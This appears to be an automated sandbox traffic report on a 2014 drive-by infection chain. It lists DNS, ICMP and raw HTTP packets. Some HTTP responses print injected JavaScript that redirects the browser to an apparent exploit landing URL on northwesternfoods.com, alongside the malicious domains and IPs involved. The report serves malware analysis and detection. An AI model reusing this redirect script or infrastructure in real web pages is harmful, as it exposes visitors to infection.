Feb 27, 2014 17:54:20.284789085 MEZ	64025	53	192.168.0.18	195.186.4.121
Feb 27, 2014 17:54:21.284703016 MEZ	64025	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:22.661838055 MEZ	53	64025	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:22.709772110 MEZ	53	64025	195.186.4.121	192.168.0.18
Feb 27, 2014 17:54:22.709810972 MEZ	53	64025	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:22.751683950 MEZ	54236	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:23.121083021 MEZ	53	54236	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:25.871321917 MEZ	55681	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:26.862644911 MEZ	55681	53	192.168.0.18	195.186.4.121
Feb 27, 2014 17:54:27.151465893 MEZ	53	55681	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:27.221551895 MEZ	53	55681	195.186.4.121	192.168.0.18
Feb 27, 2014 17:54:32.092286110 MEZ	54844	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:32.416342974 MEZ	53	54844	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:34.648542881 MEZ	57147	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:35.346365929 MEZ	53	57147	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:37.026660919 MEZ	63738	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:37.305077076 MEZ	53	63738	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:41.452461004 MEZ	61345	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:41.452557087 MEZ	53	61345	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:43.574708939 MEZ	56736	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:43.574779034 MEZ	53	56736	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:43.780559063 MEZ	65425	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:43.780616045 MEZ	53	65425	195.186.1.121	192.168.0.18
Feb 27, 2014 17:55:36.511678934 MEZ	56491	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:55:37.243191957 MEZ	53	56491	195.186.1.121	192.168.0.18
Feb 27, 2014 17:55:43.852251053 MEZ	56556	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:55:44.695162058 MEZ	53	56556	195.186.1.121	192.168.0.18
Feb 27, 2014 17:56:13.847444057 MEZ	64501	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:56:14.179053068 MEZ	53	64501	195.186.1.121	192.168.0.18
Feb 27, 2014 17:56:18.418518066 MEZ	54440	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:56:18.615906954 MEZ	53	54440	195.186.1.121	192.168.0.18

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 27, 2014 17:54:22.709882975 MEZ	192.168.0.18	195.186.4.121	863b	(Port unreachable)	Destination Unreachable
Feb 27, 2014 17:54:22.709913969 MEZ	192.168.0.18	195.186.1.121	833b	(Port unreachable)	Destination Unreachable
Feb 27, 2014 17:54:27.221635103 MEZ	192.168.0.18	195.186.4.121	8639	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 27, 2014 17:54:07.940036058 MEZ	192.168.0.18	195.186.1.121	0x3845	Standard query (0)	www.microsoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:15.418843985 MEZ	192.168.0.18	195.186.1.121	0xeb58	Standard query (0)	go.microsoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:16.701728106 MEZ	192.168.0.18	195.186.1.121	0xbe94	Standard query (0)	jsmpodcast.info	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:17.828306913 MEZ	192.168.0.18	195.186.1.121	0x1cf	Standard query (0)	www.download.windowsupdate.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:17.888158083 MEZ	192.168.0.18	195.186.1.121	0xab	Standard query (0)	billigast-el.nu	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:17.895243883 MEZ	192.168.0.18	195.186.1.121	0x57cd	Standard query (0)	ftp.arearealestate.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:17.948903084 MEZ	192.168.0.18	195.186.1.121	0x3491	Standard query (0)	tattitude.co.uk	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:19.295491934 MEZ	192.168.0.18	195.186.1.121	0x20ec	Standard query (0)	northwesternfoods.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:20.284789085 MEZ	192.168.0.18	195.186.4.121	0x20ec	Standard query (0)	northwesternfoods.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:21.284703016 MEZ	192.168.0.18	195.186.1.121	0x20ec	Standard query (0)	northwesternfoods.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:22.751683950 MEZ	192.168.0.18	195.186.1.121	0xf894	Standard query (0)	cdp1.public-trust.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:25.871321917 MEZ	192.168.0.18	195.186.1.121	0x1928	Standard query (0)	mscrl.microsoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:26.862644911 MEZ	192.168.0.18	195.186.4.121	0x1928	Standard query (0)	mscrl.microsoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:32.092286110 MEZ	192.168.0.18	195.186.1.121	0x2657	Standard query (0)	ieonline.microsoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:34.648542881 MEZ	192.168.0.18	195.186.1.121	0x2484	Standard query (0)	99websoft.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:37.026660919 MEZ	192.168.0.18	195.186.1.121	0xf7e	Standard query (0)	www.bing.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:41.452461004 MEZ	192.168.0.18	195.186.1.121	0x9785	Standard query (0)	northwesternfoods.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:43.574708939 MEZ	192.168.0.18	195.186.1.121	0x3473	Standard query (0)	tattitude.co.uk	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:43.780559063 MEZ	192.168.0.18	195.186.1.121	0x5c1d	Standard query (0)	northwesternfoods.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:55:36.511678934 MEZ	192.168.0.18	195.186.1.121	0xc820	Standard query (0)	myhousejob.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:55:43.852251053 MEZ	192.168.0.18	195.186.1.121	0x6fe6	Standard query (0)	goldwinevents.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:56:13.847444057 MEZ	192.168.0.18	195.186.1.121	0x8786	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)
Feb 27, 2014 17:56:18.418518066 MEZ	192.168.0.18	195.186.1.121	0x4179	Standard query (0)	crl.geotrust.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
Feb 27, 2014 17:54:08.232125998 MEZ	195.186.1.121	192.168.0.18	0x3845	No error (0)	www.microsoft.com	64.4.11.42	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:15.692023039 MEZ	195.186.1.121	192.168.0.18	0xeb58	No error (0)	go.microsoft.com	65.55.58.195	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:17.171118975 MEZ	195.186.1.121	192.168.0.18	0xbe94	No error (0)	jsmpodcast.info	173.201.146.1	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:18.121949911 MEZ	195.186.1.121	192.168.0.18	0x1cf	No error (0)	www.download.windowsupdate.com	209.107.220.51	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:18.290077925 MEZ	195.186.1.121	192.168.0.18	0x57cd	No error (0)	ftp.arearealestate.com	208.106.171.74	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:18.346581936 MEZ	195.186.1.121	192.168.0.18	0xab	No error (0)	billigast-el.nu	78.47.37.108	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:18.346649885 MEZ	195.186.1.121	192.168.0.18	0x3491	No error (0)	tattitude.co.uk	173.254.28.46	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:22.661838055 MEZ	195.186.1.121	192.168.0.18	0x20ec	No error (0)	northwesternfoods.com	23.239.12.68	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:22.709772110 MEZ	195.186.4.121	192.168.0.18	0x20ec	No error (0)	northwesternfoods.com	23.239.12.68	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:22.709810972 MEZ	195.186.1.121	192.168.0.18	0x20ec	No error (0)	northwesternfoods.com	23.239.12.68	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:23.121083021 MEZ	195.186.1.121	192.168.0.18	0xf894	No error (0)	cdp1.public-trust.com	64.18.20.10	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:27.151465893 MEZ	195.186.1.121	192.168.0.18	0x1928	No error (0)	mscrl.microsoft.com	207.46.206.30	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:27.221551895 MEZ	195.186.4.121	192.168.0.18	0x1928	No error (0)	mscrl.microsoft.com	207.46.206.30	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:32.416342974 MEZ	195.186.1.121	192.168.0.18	0x2657	No error (0)	ieonline.microsoft.com	204.79.197.200	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:35.346365929 MEZ	195.186.1.121	192.168.0.18	0x2484	No error (0)	99websoft.com	103.8.127.2	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:37.305077076 MEZ	195.186.1.121	192.168.0.18	0xf7e	No error (0)	www.bing.com	204.79.197.200	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:41.452557087 MEZ	195.186.1.121	192.168.0.18	0x9785	No error (0)	northwesternfoods.com	23.239.12.68	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:43.574779034 MEZ	195.186.1.121	192.168.0.18	0x3473	No error (0)	tattitude.co.uk	173.254.28.46	A (IP address)	IN (0x0001)
Feb 27, 2014 17:54:43.780616045 MEZ	195.186.1.121	192.168.0.18	0x5c1d	No error (0)	northwesternfoods.com	23.239.12.68	A (IP address)	IN (0x0001)
Feb 27, 2014 17:55:37.243191957 MEZ	195.186.1.121	192.168.0.18	0xc820	No error (0)	myhousejob.com	103.8.127.190	A (IP address)	IN (0x0001)
Feb 27, 2014 17:55:44.695162058 MEZ	195.186.1.121	192.168.0.18	0x6fe6	No error (0)	goldwinevents.com	103.8.127.189	A (IP address)	IN (0x0001)
Feb 27, 2014 17:56:14.179053068 MEZ	195.186.1.121	192.168.0.18	0x8786	No error (0)	www.yahoo.com	98.139.183.24	A (IP address)	IN (0x0001)
Feb 27, 2014 17:56:18.615906954 MEZ	195.186.1.121	192.168.0.18	0x4179	No error (0)	crl.geotrust.com	23.61.69.163	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.google.com

jsmpodcast.info

ftp.arearealestate.com

billigast-el.nu

tattitude.co.uk

www.download.windowsupdate.com

northwesternfoods.com

cdp1.public-trust.com

mscrl.microsoft.com

99websoft.com

www.bing.com

myhousejob.com

95.211.192.195

goldwinevents.com

www.yahoo.com

crl.geotrust.com

HTTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Header	Total Bytes Transfered (KB)
Feb 27, 2014 17:54:17.183897018 MEZ	1041	80	192.168.0.18	173.201.146.1	GET /persecuted/index.html HTTP/1.1 Accept: / Referer: http://www.google.com Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: jsmpodcast.info Connection: Keep-Alive	7
Feb 27, 2014 17:54:17.822393894 MEZ	80	1041	173.201.146.1	192.168.0.18	HTTP/1.1 200 OK Date: Thu, 27 Feb 2014 16:54:17 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 263 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 9d 91 4d 6e c4 20 0c 85 f7 95 7a 07 44 d7 c5 fd 51 55 a9 22 d9 54 9a 7b 38 e0 26 cc 10 88 8c 93 76 6e 5f 67 46 dd 74 d7 22 90 25 1e fe de 93 f1 93 cc b9 bf bd f1 82 43 26 f3 99 a2 4c 9d 7d 7a 7d b1 66 a8 1c 89 3b fb 68 4d a0 9c 17 8c 31 95 b1 b3 cf 3f 52 a8 b9 aa 7e f7 a0 eb 70 b0 bd 17 d6 13 7b 1f d3 66 30 a7 b1 74 36 50 11 62 db bf d7 52 28 88 02 8c 54 d3 88 37 62 e7 9c 07 7d db 7b d8 bb 60 6f 87 4b 0e ad b8 87 6a 81 d3 22 46 ce 0b 75 56 e8 4b e0 88 1b 5e 6f ad 69 1c 3a 3b 89 2c 6f 00 43 ca 6a 88 4d ee 29 bb b2 c2 8c 3c 22 27 41 d0 92 53 38 9d dd b1 69 44 b8 36 f7 7f 61 7f c8 e2 90 69 df 99 9a a0 90 0b 75 06 a1 4c 41 1d 29 82 6a 85 b8 fd df 42 a1 92 64 8d 3b d9 ad 27 50 fe 90 0a 35 08 c8 52 6b d1 b9 fd 82 eb 74 e0 f2 77 df Data Ascii: Mn zDQU"T{8&vn_gFt"%C&L}z}f;hM1?R~p{f0t6PbR(T7b}{`oKj"FuVK^oi:;,oCjM)<"'AS8iD6aiuLA)jBd;'P5Rktw	8
Feb 27, 2014 17:54:17.940568924 MEZ	80	1041	173.201.146.1	192.168.0.18	Data Raw: 97 0a 76 15 c2 01 00 00 Data Ascii: v	8
Feb 27, 2014 17:54:18.131071091 MEZ	1042	80	192.168.0.18	209.107.220.51	GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: www.download.windowsupdate.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	9
Feb 27, 2014 17:54:18.316545963 MEZ	1043	80	192.168.0.18	208.106.171.74	GET /telecasted/earners.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: ftp.arearealestate.com Connection: Keep-Alive	10
Feb 27, 2014 17:54:18.380580902 MEZ	1044	80	192.168.0.18	78.47.37.108	GET /margarita/garlicky.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: billigast-el.nu Connection: Keep-Alive	11
Feb 27, 2014 17:54:18.382679939 MEZ	1045	80	192.168.0.18	173.254.28.46	GET /combines/cartooning.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: tattitude.co.uk Connection: Keep-Alive	11
Feb 27, 2014 17:54:19.085042000 MEZ	80	1042	209.107.220.51	192.168.0.18	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Thu, 03 Oct 2013 23:04:17 GMT Accept-Ranges: bytes ETag: "80ae99e28cc0ce1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 18 Cache-Control: max-age=7168 Date: Thu, 27 Feb 2014 16:54:18 GMT Connection: keep-alive X-CCC: US X-CID: 2 Data Raw: 31 34 30 31 43 45 43 30 38 43 45 33 32 30 43 30 36 43 Data Ascii: 1401CEC08CE320C06C	12
Feb 27, 2014 17:54:19.109843969 MEZ	1042	80	192.168.0.18	209.107.220.51	GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: www.download.windowsupdate.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	12
Feb 27, 2014 17:54:19.158140898 MEZ	80	1043	208.106.171.74	192.168.0.18	HTTP/1.1 200 OK Content-Length: 60 Content-Type: application/x-javascript Last-Modified: Thu, 27 Feb 2014 16:54:17 GMT Accept-Ranges: bytes ETag: W/"cbb8d8ddc33cf1:1269" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Thu, 27 Feb 2014 16:54:17 GMT Data Raw: 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 6e 6f 72 74 68 77 65 73 74 65 72 6e 66 6f 6f 64 73 2e 63 6f 6d 2f 73 67 33 6f 79 6f 65 30 76 32 27 3b Data Ascii: document.location='http://northwesternfoods.com/sg3oyoe0v2';	13
Feb 27, 2014 17:54:19.244440079 MEZ	80	1044	78.47.37.108	192.168.0.18	HTTP/1.1 200 OK Date: Thu, 27 Feb 2014 17:02:18 GMT Server: Apache Last-Modified: Thu, 27 Feb 2014 17:02:12 GMT Accept-Ranges: bytes Content-Length: 60 Connection: close Content-Type: application/javascript Data Raw: 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 6e 6f 72 74 68 77 65 73 74 65 72 6e 66 6f 6f 64 73 2e 63 6f 6d 2f 73 67 33 6f 79 6f 65 30 76 32 27 3b Data Ascii: document.location='http://northwesternfoods.com/sg3oyoe0v2';	13
Feb 27, 2014 17:54:19.495863914 MEZ	80	1042	209.107.220.51	192.168.0.18	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri, 04 Oct 2013 00:14:07 GMT Accept-Ranges: bytes ETag: "80f18a496c0ce1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 54009 Cache-Control: max-age=8000 Date: Thu, 27 Feb 2014 16:54:19 GMT Connection: keep-alive X-CCC: US X-CID: 2 Data Raw: 4d 53 43 46 00 00 00 00 f9 d2 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 49 00 00 00 04 00 01 00 ff f1 01 00 00 00 00 00 00 00 43 43 ce 83 20 00 61 75 74 68 72 6f 6f 74 2e 73 74 6c 00 4c 67 3d 55 81 38 00 80 43 4b d4 9c 09 3c 54 dd ff c7 67 b8 76 21 4d f6 34 b6 90 6d 06 51 42 f6 7d df b7 64 0d 59 b3 af 69 24 bb 92 9d 2c 49 2a 4b 8b 92 4a 96 2c 25 4b 22 84 ca 1e 21 da 90 3d ff 6b d4 13 cf 9d a7 e7 c9 d3 ff f5 7b 3d 2f af 19 f7 9e 7b 67 e6 7e de Data Ascii: MSCF,ICC authroot.stlLg=U8CK<Tgv!M4mQB}dYi$,I*KJ,%K"!=k{=/{g~	14
Feb 27, 2014 17:54:19.553136110 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: e7 9c ef f9 de ef f9 9e 8b 3a 05 ff b4 48 48 b2 37 4c 29 6c 6e 1b 9c 08 ef 02 b8 3f b1 56 38 82 07 87 a3 c9 50 24 84 04 3c 14 f8 78 0c 04 30 b0 b0 fd 24 21 09 0f 21 1c 80 87 88 92 c2 c1 33 db dd d6 0a 1d 51 e4 84 a4 df 8b f1 49 f0 48 10 f0 96 87 Data Ascii: :HH7L)ln?V8P$<x0$!!3QIH1NBhJHP%5Bi`(ICw49?#Bn8MP}(D?E3hAQb!e2cy nK(20B_rTN0__I	15
Feb 27, 2014 17:54:19.553167105 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: f6 6c 0a ea 90 f0 09 ad 95 9e 70 79 57 4d df d7 8b 2f 3a d6 fc b3 9f 8d ca 70 28 c4 45 c7 0a cd 5d 1f 6f b5 8d 18 f0 fa 10 db 0d 3d d8 2a 44 5d c1 b6 db cf 82 17 07 3e 5d 38 7c 5a 23 fe 79 96 fc ae 12 4d 28 92 d3 4b 02 e7 7a a9 39 4d e0 f2 a5 22 Data Ascii: lpyWM/:p(E]o=D]>]8\|Z#yM(Kz9M"x/.jDp[_ N,zc-\1hTVQKGne,8Ts&io8ZcP\|J28f$!35dX{c%;!1zB#7Y.\p/	17
Feb 27, 2014 17:54:19.553177118 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 87 42 42 39 a9 bd 78 1f 0d 86 e2 09 88 14 83 f0 12 bd 39 2d cf 6e 9d c3 0d 67 e2 f7 d3 8d 75 83 46 2a e5 d6 4f f2 15 f7 3e e2 be 91 36 3d 77 0e 9d 2e eb 63 61 3d 1b db 88 0a dc c4 c1 05 70 52 01 ab de 0d 7b cb 8b 3b ec f0 bd 51 e8 62 8f 79 63 cb Data Ascii: BB9x9-nguFO>6=w.ca=pR{;Qbycb`2x5#X3:N!PLYJ#!]Y3}Yv+v2=PxRr)DuE&XM1@TY~K_az8g-Bs)Q(MT%Xc-nZB~F	18
Feb 27, 2014 17:54:19.554529905 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 02 99 06 2b 95 48 32 e4 42 90 b7 89 b0 76 3f 0e bf f4 0e 76 1a 8d a9 f9 75 28 3c 2b e9 6e a3 1d 01 ac f9 2d f5 fd 1f fc 0f f8 40 a1 b8 2b d7 78 08 3f d6 9f 21 f3 76 c7 9c f0 99 09 7f fb f8 16 c5 4f a1 6c 98 e1 82 42 31 84 6b 8a 57 d2 86 14 9c f7 Data Ascii: +H2Bv?vu(<+n-@+x?!vOlB1kWcy4o=(]:L=IE+rL_W'6BQKm#Uw{aDQE?u\|\|Uw.\|QK>4d{q3%0`Rv5l?Wn{91	19
Feb 27, 2014 17:54:20.714222908 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 9b 6c 9b d2 45 fd c8 f3 89 41 0a 0c 7e 27 1e aa 7d 6d 73 bb fb 0f c7 27 1c 21 dc b6 c0 ee c9 ce b0 bb d4 6c 51 4a bc 6f 5c f3 b8 0f b8 79 0a 70 3a 47 95 e6 bf 71 19 e0 3a 2b a4 8f 75 9b 4e 8b 32 5d 1e d1 42 48 b4 70 e1 2b 32 f6 89 91 8c cd fb 50 Data Ascii: lEA~'}ms'!lQJo\yp:Gq:+uN2]BHp+2Pt{,+FGusfB32$X%HP^qjn(c#qsI/EEd)FXGV+uc<4V#8^&.Y9[S}N+QFLUxx\|	21
Feb 27, 2014 17:54:20.714253902 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: c6 d2 a6 d8 97 97 07 62 8a 23 99 d2 78 65 9d 34 94 96 7e 47 b4 8b 6f b9 ac b1 9f f5 f2 2a 95 bf f6 8a 64 74 16 ed e9 93 5c e1 e7 77 cc d5 de 09 90 64 7c 8e 36 22 f9 57 d1 2e 0d f0 76 15 e3 a7 d5 cd 94 ec d6 2c dc 4d f2 cc 4f 0e 2d 72 62 c6 13 1d Data Ascii: b#xe4~Go*dt\wd\|6"W.v,MO-rb2n>G~22n(c?>Kulw}vx'FC9bYU>~)OK8t\|u](Td$)j($FH>m;l)R1#-l6Xq	22
Feb 27, 2014 17:54:20.714266062 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 0a 27 fc 8b 55 81 62 00 a2 f1 81 b6 1d 3b cc e8 8c 0d fd a7 0e 62 df 56 29 b1 8b 78 36 b8 f3 a6 f9 84 7d ba a2 96 2f a5 fb 56 79 88 e8 4c 36 dc 82 ca 6f 73 f0 1b 8a b2 15 55 3f a7 54 c2 2f db 7a ec 4a 2e 8d 9b d1 d6 fb cd 91 64 8a 77 5d 34 af 9a Data Ascii: 'Ub;bV)x6}/VyL6osU?T/zJ.dw]4\|'Pcv(yu7#CnYfC%L^t!VwPzW"C`CsZniLY?1dS1Ya1ZwX#d>Sj8ve	23
Feb 27, 2014 17:54:20.714792013 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: a6 7a b1 00 cc 51 66 3f ef 37 38 6a 8d 10 f2 fc 10 62 3c bc bf 78 26 ca 5a ec ca ff d1 ea fc eb 72 fd 53 b4 f6 3e 44 07 e7 b4 3d cc cf b7 1b e1 8c 5d 89 d8 54 9b d8 7b 47 8a d7 8e 4f 5f 4e 35 e4 c7 f1 14 aa 3a 4b ad a6 b8 a3 3c e5 6e 8d 3c 0c 3d Data Ascii: zQf?78jb<x&ZrS>D=]T{GO_N5:K<n<=r."n7XK//lM[bq N*4vyZZ}_9f]<6&6Z,Y^Px'"S}uwcx:6I<~Kh5 l_xICC.9d~R<	25
Feb 27, 2014 17:54:20.714812040 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 23 a8 1b e6 29 cb 09 17 4c 97 27 fe 4f bd d3 59 54 d7 ad b6 de 2f 0c 29 36 1d a4 87 a2 15 3a 3f a1 e5 4f 4d 73 20 4a 7a 5e 4b 11 6d 49 79 a3 7a 5c 04 86 6c ef 95 11 15 c2 97 c8 bd 48 e5 79 e7 c4 27 aa 76 ec b4 9e c0 b9 ec 7e cd 28 89 f7 14 53 15 Data Ascii: #)L'OYT/)6:?OMs Jz^KmIyz\lHy'v~(Ss]xO;Jhnh@<;F8g%(fSHR/iV(DZ-wrLa1\|SxW>+P5{fiP#DwND/=X2qaHrR\|%HaV>uK	26
Feb 27, 2014 17:54:20.715042114 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 59 0f 2e a0 51 f6 6f a4 fa ac 1f 04 73 49 96 c0 27 f0 c7 4e 37 31 da cc ea 51 6d 0d b9 69 37 ec 91 35 0c c5 a2 b1 71 ac 91 c3 f0 86 78 6e 4c e1 a1 79 01 a3 c8 5b 7b 69 c5 61 9a 07 08 0e fd b1 77 27 93 98 da 59 bb b1 24 9c 37 b3 4f f8 86 a2 5b 5d Data Ascii: Y.QosI'N71Qmi75qxnLy[{iaw'Y$7O[]=-+ujhx@^w*(R]V73:GQRNR/B yY>X]-jQs$IM(b9,B]+9&1 /\|)3TA	28
Feb 27, 2014 17:54:20.715276003 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: ee e8 dc c7 6c 69 70 16 10 13 78 9d b7 a7 8e 1d 8a e4 1b 92 de d1 17 a3 de ba 7d 33 9d c4 91 73 45 8f 33 c7 a5 83 bc ad e8 76 77 2c 59 1a be 6a d4 4f 5d 37 8d 4d ba 3c 8d cd 27 b4 01 8b a2 80 c9 55 be 65 37 28 83 91 f8 e9 55 de c2 f2 cf 9c be 93 Data Ascii: lipx}3sE3vw,YjO]7M<'Ue7(UU#ji/ Gxttw]lM@XEw59z`6Mk-wc&tR15KAYfnU%9pMq;cF g*,M^+{syK 1=r	29
Feb 27, 2014 17:54:20.715298891 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 76 3d 13 fa f4 95 f1 07 4f d3 98 f9 74 f0 1d f6 69 fc 28 24 15 f8 41 b5 73 06 fa 4c fc 6e e2 67 e8 1f 75 c7 0b 8e 44 fa 10 ec 36 ca 4e 76 b1 5f ca e0 e9 b1 c3 b5 1e 66 54 d3 b6 aa 87 36 c5 7c 9d 48 be 9a dd c3 14 93 72 83 3f bb ad 65 fd 1c e0 12 Data Ascii: v=Oti($AsLnguD6Nv_fT6\|Hr?ed^Zm9=9{Q-/[oh[HGJ*,k7?+L%[B&p5-7;TqPv)8+#w(U0Lz>_g!bF1nL,s~W}c\|	30
Feb 27, 2014 17:54:20.715698957 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 73 a5 ae 6d d2 ca 81 8c 55 fe f1 b6 4c 96 af a9 aa 3d 00 c2 96 47 f0 9e 9f 5e 11 7a 29 cb d6 a8 b6 30 a6 5d 4d 55 78 12 7e 92 6b 62 3c ab fa 80 de 84 d1 65 db 2a 62 2f b9 f3 30 8d 0b 41 c9 a7 f7 26 c7 16 79 cb 8d b8 2e fa 97 87 a6 8c 50 9c 76 82 Data Ascii: smUL=G^z)0]MUx~kb<e*b/0A&y.Pvi,^8Bz7d:.zfV7O]@Dg5(bIj`$wK-4a6eIth\|g`4O$>\|?n-$PZ)y2f_Z)IMZ	31
Feb 27, 2014 17:54:20.715830088 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 27 4a aa 1c 6c da b0 58 e8 6e 60 09 a5 b7 78 59 f9 9a 1d 90 c0 12 d8 34 cb 18 95 6b 05 98 b8 7a 55 40 e9 e9 10 f6 9a d2 48 1e ac 1a 96 3e 9d 50 9c 22 ba 9d ce a8 a0 fe ac bc 19 32 44 84 e7 33 21 9e b5 e0 0f 3b d6 b0 76 02 4d d0 fc 5c 3d fa ea 5f Data Ascii: 'JlXn`xY4kzU@H>P"2D3!;vM\=_XCcuhXWfYt{=e_3e nmGAM+x"N(s/Ga,"JH5em+{hHHeM}@IxVsqM{6<	33
